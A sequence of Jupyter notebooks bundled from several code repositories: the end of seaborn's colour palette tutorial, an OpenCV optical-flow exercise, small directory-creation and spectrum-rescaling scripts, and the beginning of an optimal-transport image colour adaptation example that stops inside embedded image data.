lw=3);" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "In addition to pulling out single colors from the ``xkcd_rgb`` dictionary, you can also pass a list of names to the :func:`xkcd_palette` function." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "colors = [\"windows blue\", \"amber\", \"greyish\", \"faded green\", \"dusty purple\"]\n", "sns.palplot(sns.xkcd_palette(colors))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ ".. _sequential_palettes:\n", "\n", "Sequential color palettes\n", "-------------------------\n", "\n", "The second major class of color palettes is called \"sequential\". This kind of color mapping is appropriate when data range from relatively low or uninteresting values to relatively high or interesting values. Although there are cases where you will want discrete colors in a sequential palette, it's more common to use them as a colormap in functions like :func:`kdeplot` and :func:`heatmap` (along with similar matplotlib functions).\n", "\n", "It's common to see colormaps like ``jet`` (or other rainbow palettes) used in this case, because the range of hues gives the impression of providing additional information about the data. However, colormaps with large hue shifts tend to introduce discontinuities that don't exist in the data, and our visual system isn't able to naturally map the rainbow to quantitative distinctions like \"high\" or \"low\". The result is that these visualizations end up being more like a puzzle, and they obscure patterns in the data rather than revealing them. The jet palette is because the brightest colors, yellow and cyan, are used for intermediate data values. This has the effect of emphasizing uninteresting (and arbitrary) values while deemphasizing the extremes.\n", "\n", "For sequential data, it's better to use palettes that have at most a relatively subtle shift in hue accompanied by a large shift in brightness and saturation. This approach will naturally draw the eye to the relatively important parts of the data.\n", "\n", "The Color Brewer library has a great set of these palettes. They're named after the dominant color (or colors) in the palette." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"Blues\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Like in matplotlib, if you want the lightness ramp to be reversed, you can add a ``_r`` suffix to the palette name." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"BuGn_r\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Seaborn also adds a trick that allows you to create \"dark\" palettes, which do not have as wide a dynamic range. This can be useful if you want to map lines or points sequentially, as brighter-colored lines might otherwise be hard to distinguish." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"GnBu_d\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Remember that you may want to use the :func:`choose_colorbrewer_palette` function to play with the various options, and you can set the ``as_cmap`` argument to ``True`` if you want the return value to be a colormap object that you can pass to seaborn or matplotlib functions." ] }, { "cell_type": "raw", "metadata": { "raw_mimetype": "text/restructuredtext" }, "source": [ ".. _cubehelix_palettes:\n", "\n", "Sequential \"cubehelix\" palettes\n", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n", "\n", "The `cubehelix <https://www.mrao.cam.ac.uk/~dag/CUBEHELIX/>`_ color palette system makes sequential palettes with a linear increase or decrease in brightness and some variation in hue. This means that the information in your colormap will be preserved when converted to black and white (for printing) or when viewed by a colorblind individual.\n", "\n", "Matplotlib has the default cubehelix version built into it:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"cubehelix\", 8))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Seaborn adds an interface to the cubehelix *system* so that you can make a variety of palettes that all have a well-behaved linear brightness ramp.\n", "\n", "The default palette returned by the seaborn :func:`cubehelix_palette` function is a bit different from the matplotlib default in that it does not rotate as far around the hue wheel or cover as wide a range of intensities. It also reverses the order so that more important values are darker:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.cubehelix_palette(8))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Other arguments to :func:`cubehelix_palette` control how the palette looks. The two main things you'll change are the ``start`` (a value between 0 and 3) and ``rot``, or number of rotations (an arbitrary value, but probably within -1 and 1)," ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.cubehelix_palette(8, start=.5, rot=-.75))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "You can also control how dark and light the endpoints are and even reverse the ramp:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.cubehelix_palette(8, start=2, rot=0, dark=0, light=.95, reverse=True))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "By default you just get a list of colors, like any other seaborn palette, but you can also return the palette as a colormap object that can be passed to seaborn or matplotlib functions using ``as_cmap=True``." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "x, y = np.random.multivariate_normal([0, 0], [[1, -.5], [-.5, 1]], size=300).T\n", "cmap = sns.cubehelix_palette(light=1, as_cmap=True)\n", "sns.kdeplot(x, y, cmap=cmap, shade=True);" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "To help select good palettes or colormaps using this system, you can use the :func:`choose_cubehelix_palette` function in a notebook to launch an interactive app that will let you play with the different parameters. Pass ``as_cmap=True`` if you want the function to return a colormap (rather than a list) for use in function like ``hexbin``." ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Custom sequential palettes\n", "~~~~~~~~~~~~~~~~~~~~~~~~~~\n", "\n", "For a simpler interface to custom sequential palettes, you can use :func:`light_palette` or :func:`dark_palette`, which are both seeded with a single color and produce a palette that ramps either from light or dark desaturated values to that color. These functions are also accompanied by the :func:`choose_light_palette` and :func:`choose_dark_palette` functions that launch interactive widgets to create these palettes." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.light_palette(\"green\"))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.dark_palette(\"purple\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "These palettes can also be reversed." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.light_palette(\"navy\", reverse=True))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "They can also be used to create colormap objects rather than lists of colors." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "pal = sns.dark_palette(\"palegreen\", as_cmap=True)\n", "sns.kdeplot(x, y, cmap=pal);" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "By default, the input can be any valid matplotlib color. Alternate interpretations are controlled by the ``input`` argument. Currently you can provide tuples in ``hls`` or ``husl`` space along with the default ``rgb``, and you can also seed the palette with any valid ``xkcd`` color." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.light_palette((210, 90, 60), input=\"husl\"))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.dark_palette(\"muted purple\", input=\"xkcd\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Note that the default input space for the interactive palette widgets is ``husl``, which is different from the default for the function itself, but much more useful in this context." ] }, { "cell_type": "raw", "metadata": {}, "source": [ ".. _diverging_palettes:\n", "\n", "Diverging color palettes\n", "------------------------\n", "\n", "The third class of color palettes is called \"diverging\". These are used for data where both large low and high values are interesting. There is also usually a well-defined midpoint in the data. For instance, if you are plotting changes in temperature from some baseline timepoint, it is best to use a diverging colormap to show areas with relative decreases and areas with relative increases.\n", "\n", "The rules for choosing good diverging palettes are similar to good sequential palettes, except now you want to have two relatively subtle hue shifts from distinct starting hues that meet in an under-emphasized color at the midpoint. It's also important that the starting values are of similar brightness and saturation.\n", "\n", "It's also important to emphasize here that using red and green should be avoided, as a substantial population of potential viewers will be `unable to distinguish them <https://en.wikipedia.org/wiki/Color_blindness>`_.\n", "\n", "It should not surprise you that the Color Brewer library comes with a set of well-chosen diverging colormaps." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"BrBG\", 7))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"RdBu_r\", 7))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Another good choice that is built into matplotlib is the ``coolwarm`` palette. Note that this colormap has less contrast between the middle values and the extremes." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.color_palette(\"coolwarm\", 7))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Custom diverging palettes\n", "~~~~~~~~~~~~~~~~~~~~~~~~~\n", "\n", "You can also use the seaborn function :func:`diverging_palette` to create a custom colormap for diverging data. (Naturally there is also a companion interactive widget, :func:`choose_diverging_palette`). This function makes diverging palettes using the ``husl`` color system. You pass it two hues (in degrees) and, optionally, the lightness and saturation values for the extremes. Using ``husl`` means that the extreme values, and the resulting ramps to the midpoint, will be well-balanced." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.diverging_palette(220, 20, n=7))" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.diverging_palette(145, 280, s=85, l=25, n=7))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "The ``sep`` argument controls the width of the separation between the two ramps in the middle region of the palette." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.diverging_palette(10, 220, sep=80, n=7))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "It's also possible to make a palette with the midpoint is dark rather than light." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.palplot(sns.diverging_palette(255, 133, l=60, n=7, center=\"dark\"))" ] }, { "cell_type": "raw", "metadata": {}, "source": [ ".. _palette_contexts:\n", "\n", "Setting the default color palette\n", "---------------------------------\n", "\n", "The :func:`color_palette` function has a companion called :func:`set_palette`. The relationship between them is similar to the pairs covered in the :ref:`aesthetics tutorial <aesthetics_tutorial>`. :func:`set_palette` accepts the same arguments as :func:`color_palette`, but it changes the default matplotlib parameters so that the palette is used for all plots." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "def sinplot(flip=1):\n", " x = np.linspace(0, 14, 100)\n", " for i in range(1, 7):\n", " plt.plot(x, np.sin(x + i * .5) * (7 - i) * flip)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "sns.set_palette(\"husl\")\n", "sinplot()" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "The :func:`color_palette` function can also be used in a ``with`` statement to temporarily change the color palette." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "with sns.color_palette(\"PuBuGn_d\"):\n", " sinplot()" ] }, { "cell_type": "raw", "metadata": {}, "source": [ ".. raw:: html\n", "\n", " </div>" ] } ], "metadata": { "celltoolbar": "Tags", "kernelspec": { "display_name": "Python 3.6 (seaborn-dev)", "language": "python", "name": "seaborn-dev" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.3" } }, "nbformat": 4, "nbformat_minor": 1 }

bsd-3-clause

moizumi99/CVBookExercise

Chapter-10/CV Book Chapter 10 Exercise 8.ipynb

1

4789

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from PIL import Image\n", "from numpy import *\n", "from pylab import *\n", "from scipy import ndimage" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import cv2" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "cap = cv2.VideoCapture(-1)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "True\n" ] } ], "source": [ "ret, im = cap.read()\n", "print ret" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [], "source": [ "while True:\n", " ret, im = cap.read()\n", " if not ret:\n", " break\n", " cv2.imshow('video', im)\n", " key = cv2.waitKey(10)\n", " if key == 27:\n", " break\n", "cv2.destroyAllWindows()" ] }, { "cell_type": "code", "execution_count": 78, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/usr/local/lib/python2.7/dist-packages/ipykernel_launcher.py:22: DeprecationWarning: elementwise != comparison failed; this will raise an error in the future.\n" ] } ], "source": [ "# Parameters\n", "lk_params = dict(winSize=(15, 15), maxLevel=2,\n", " criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03))\n", "subpix_params = dict(zeroZone=(-1, -1), winSize=(10, 10), \n", " criteria=(cv2.TERM_CRITERIA_COUNT | cv2.TERM_CRITERIA_EPS, 20, 0.03))\n", "feature_params = dict(maxCorners=500, qualityLevel=0.01, minDistance=10)\n", "cycle = 20\n", "draw_flow = True\n", "\n", "# Initialize\n", "nbr_fetures = 0\n", "prev = []\n", "features = []\n", "tracks = []\n", "count = 0\n", "while True:\n", " ret, im = cap.read()\n", " if not ret:\n", " print \"Image Capture Error\"\n", " break\n", " image = im.copy()\n", " if prev!=[]:\n", " # for the first frame or after reset, detect points\n", " if features==[]:\n", " features = cv2.goodFeaturesToTrack(prev, **feature_params)\n", " cv2.cornerSubPix(prev, features, **subpix_params)\n", " tracks = [[p] for p in features.reshape((-1, 2))]\n", " nbr_fetures = len(features)\n", " \n", " # find the features in the new frame\n", " img_gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n", " tmp = float32(features). reshape(-1, 1, 2)\n", " fs, status, track_error = cv2.calcOpticalFlowPyrLK(prev, img_gray, tmp, None, **lk_params)\n", " features = [p for (st, p) in zip(status, fs) if st]\n", " fs = array(fs).reshape((-1, 2))\n", " for i, f in enumerate(fs):\n", " tracks[i].append(f)\n", " ndx = [i for (i, st) in enumerate(status) if not st]\n", " ndx.reverse()\n", " for i in ndx:\n", " tracks.pop(i)\n", " prev = img_gray\n", " \n", " for point in features:\n", " cv2.circle(image, (int(point[0][0]), int(point[0][1])), 3, (0, 255, 0), -1)\n", " if draw_flow:\n", " for t in tracks:\n", " cv2.line(image, tuple(t[-1]), tuple(t[-2]), (0, 0, 255))\n", " else:\n", " prev = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n", " cv2.imshow('video', image)\n", " key = cv2.waitKey(10)\n", " if key == 27:\n", " break\n", " count += 1\n", " if (count>=cycle or len(features)<nbr_fetures/2 or key==ord(' ')):\n", " count = 0\n", " features = []\n", "cv2.destroyAllWindows()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.12" } }, "nbformat": 4, "nbformat_minor": 2 }

unlicense

NathanYee/Video-Processing

jupyter/dir_creation.ipynb

1

2338

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# dir_creation\n", "\n", "Creates the directories of frcnn_data if they do not exist" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "ExecuteTime": { "end_time": "2017-08-10T16:55:03.154022Z", "start_time": "2017-08-10T16:55:03.146020Z" } }, "outputs": [], "source": [ "import sys, os\n", "sys.path.insert(0, os.path.abspath('..'))\n", "\n", "import tools.CONSTANTS as c" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "ExecuteTime": { "end_time": "2017-08-03T00:02:44.790261Z", "start_time": "2017-08-03T00:02:44.784275Z" }, "collapsed": true }, "outputs": [], "source": [ "def make_dir(directory):\n", " if not os.path.isdir(directory):\n", " os.mkdir(directory)" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "ExecuteTime": { "end_time": "2017-08-03T00:02:44.885933Z", "start_time": "2017-08-03T00:02:44.793007Z" }, "collapsed": true }, "outputs": [], "source": [ "for VID in c.VID_KEYS:\n", " for DIR in c.DIR_KEYS:\n", " directory = c.DIR_DICT[VID][DIR]\n", " make_dir(directory)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "ExecuteTime": { "end_time": "2017-08-03T00:02:44.902733Z", "start_time": "2017-08-03T00:02:44.887595Z" }, "collapsed": true }, "outputs": [], "source": [ "make_dir(c.CROP_DIR)\n", "\n", "for CROP_DIR in c.CROP_CLASS_DIRS:\n", " make_dir(CROP_DIR)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Environment (conda_video-processing)", "language": "python", "name": "conda_video-processing" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.1" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

mdastro/Challenge

Coding/Correcting_Spectra.ipynb

1

2183

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true, "deletable": true, "editable": true }, "outputs": [], "source": [ "import numpy as np\n", "import pandas as pd\n", "import os" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true, "deletable": true, "editable": true }, "outputs": [], "source": [ "specs_path = '/home/mldantas/Dropbox/DoutoradoIAG/Challenge/Sanity_Check/Specs'\n", "specs_list = np.loadtxt('/home/mldantas/Dropbox/DoutoradoIAG/Challenge/Sanity_Check/specslist.txt', dtype=str)" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false, "deletable": true, "editable": true }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0443.51873.152\n", "1019.52707.261\n", "1180.52995.637\n", "1665.52976.514\n", "2231.53816.545\n" ] } ], "source": [ "for each_spectrum in specs_list:\n", " wavelength = np.loadtxt(os.path.join(specs_path, each_spectrum), usecols=[0])\n", " f_lambda = np.loadtxt(os.path.join(specs_path, each_spectrum), usecols=[1])\n", " \n", " new_flambda = f_lambda * 10**(-17)\n", " \n", " print os.path.split(each_spectrum)[-1][0:14]\n", " \n", " new_spectrum = np.column_stack((wavelength, new_flambda))\n", " new_spectrum = pd.DataFrame(new_spectrum) \n", " new_spectrum.to_csv(os.path.join(specs_path, os.path.split(each_spectrum)[-1][0:14]+'.txt'), \n", " sep=' ', header=None, index=False)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

aje/POT

notebooks/plot_otda_color_images.ipynb

1

328429

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "%matplotlib inline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "# OT for image color adaptation\n", "\n", "\n", "This example presents a way of transferring colors between two image\n", "with Optimal Transport as introduced in [6]\n", "\n", "[6] Ferradans, S., Papadakis, N., Peyre, G., & Aujol, J. F. (2014).\n", "Regularized discrete optimal transport.\n", "SIAM Journal on Imaging Sciences, 7(3), 1853-1882.\n", "\n" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Authors: Remi Flamary <[email protected]>\n", "# Stanislas Chambon <[email protected]>\n", "#\n", "# License: MIT License\n", "\n", "import numpy as np\n", "from scipy import ndimage\n", "import matplotlib.pylab as pl\n", "import ot\n", "\n", "\n", "r = np.random.RandomState(42)\n", "\n", "\n", "def im2mat(I):\n", " \"\"\"Converts and image to matrix (one pixel per line)\"\"\"\n", " return I.reshape((I.shape[0] * I.shape[1], I.shape[2]))\n", "\n", "\n", "def mat2im(X, shape):\n", " \"\"\"Converts back a matrix to an image\"\"\"\n", " return X.reshape(shape)\n", "\n", "\n", "def minmax(I):\n", " return np.clip(I, 0, 1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Generate data\n", "-------------\n", "\n" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Loading images\n", "I1 = ndimage.imread('../data/ocean_day.jpg').astype(np.float64) / 256\n", "I2 = ndimage.imread('../data/ocean_sunset.jpg').astype(np.float64) / 256\n", "\n", "X1 = im2mat(I1)\n", "X2 = im2mat(I2)\n", "\n", "# training samples\n", "nb = 1000\n", "idx1 = r.randint(X1.shape[0], size=(nb,))\n", "idx2 = r.randint(X2.shape[0], size=(nb,))\n", "\n", "Xs = X1[idx1, :]\n", "Xt = X2[idx2, :]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Plot original image\n", "-------------------\n", "\n" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.text.Text at 0x7effc9a46ef0>" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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